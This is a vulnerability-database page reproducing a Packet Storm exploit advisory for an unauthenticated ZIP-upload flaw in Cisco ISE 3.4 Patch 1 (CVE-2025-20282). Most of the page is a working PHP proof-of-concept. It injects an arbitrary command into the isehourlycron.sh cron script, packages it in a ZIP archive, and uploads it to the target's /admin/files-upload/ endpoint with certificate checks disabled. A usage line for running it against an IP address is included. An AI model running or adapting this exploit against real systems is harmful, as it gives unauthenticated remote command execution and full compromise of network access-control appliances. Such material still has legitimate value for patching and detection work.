Lucene search
K

📄 Cisco ISE 3.4 Code Execution / Privilege Escalation / Shell Upload

🗓️ 21 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 160 Views

Unauthenticated ZIP upload flaw in Cisco ISE 3.4 Patch 1 enables arbitrary command execution and privilege escalation.

Related
Code
=============================================================================================================================================
    | # Title     : Cisco ISE 3.4 Patch 1 Unauthenticated Arbitrary File Upload via ZIP Injection                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.cisco.com                                                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/210756/ & CVE-2025-20282
    
    [+] Summary    : An unauthenticated file upload vulnerability was identified in the administrative file upload endpoint. 
                     The application accepts ZIP archives without authenticationand extracts files into sensitive execution paths.
                     An attacker can craft a ZIP archive containing a modified cron shell script
                     and upload it to the vulnerable endpoint, leading to arbitrary command execution.
    
    [+] Impact:
    
    - Remote Command Execution
    - Privilege Escalation
    - Full System Compromise
    
    [+] Attack Vector:
    
    Remote / Network
    
    [+] PoC : php poc.php --ip 192.168.1.100 --command "malicious_command_here"
    
    <?php
    
    if (php_sapi_name() !== 'cli') {
        die("This script must be run from CLI only.\n");
    }
    
    /* ---------------- Argument Parsing ---------------- */
    
    $options = getopt("", ["reset", "command:", "ip:"]);
    
    if (!isset($options['command']) || !isset($options['ip'])) {
        echo "Usage: php poc.php --command=\"<cmd>\" --ip=\"<target>\" [--reset]\n";
        exit(1);
    }
    
    $COMMAND = $options['command'];
    $IP      = $options['ip'];
    $RESET   = isset($options['reset']);
    
    /* ---------------- Original Encoded Payload ---------------- */
    
    /**
     * Original file under /opt/CSCOcpm/bin/
     * Filename: isehourlycron.sh
     */
    $isehourlycron = "++++++"; // Base64 placeholder
    
    $decoded_data = base64_decode($isehourlycron);
    
    /* ---------------- File System Setup ---------------- */
    
    $binDir = __DIR__ . "/bin";
    if (!is_dir($binDir)) {
        mkdir($binDir, 0755, true);
    }
    
    $filePath = $binDir . "/isehourlycron.sh";
    
    /* ---------------- Write Logic ---------------- */
    
    $fileHandle = fopen($filePath, "w");
    fwrite($fileHandle, $decoded_data);
    
    if ($RESET) {
        echo "[+] File has been reset\n";
    } else {
        fwrite($fileHandle, $COMMAND);
    }
    
    fclose($fileHandle);
    
    /* ---------------- ZIP Creation ---------------- */
    
    $zipFile = __DIR__ . "/output.zip";
    $zip = new ZipArchive();
    
    if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) {
        die("[-] Cannot create zip archive\n");
    }
    
    $files = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($binDir),
        RecursiveIteratorIterator::LEAVES_ONLY
    );
    
    foreach ($files as $name => $file) {
        if (!$file->isDir()) {
            $filePath = $file->getRealPath();
            $relativePath = substr($filePath, strlen(__DIR__) + 1);
            $zip->addFile($filePath, $relativePath);
        }
    }
    
    $zip->close();
    
    /* ---------------- Upload via cURL ---------------- */
    
    echo "[*] Uploading file unauthenticated...\n";
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL            => "https://" . $IP . "/admin/files-upload/",
        CURLOPT_POST           => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POSTFIELDS     => [
            'file' => new CURLFile($zipFile)
        ]
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    echo "[+] Upload completed\n";
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jan 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.110
EPSS0.09805
SSVC
160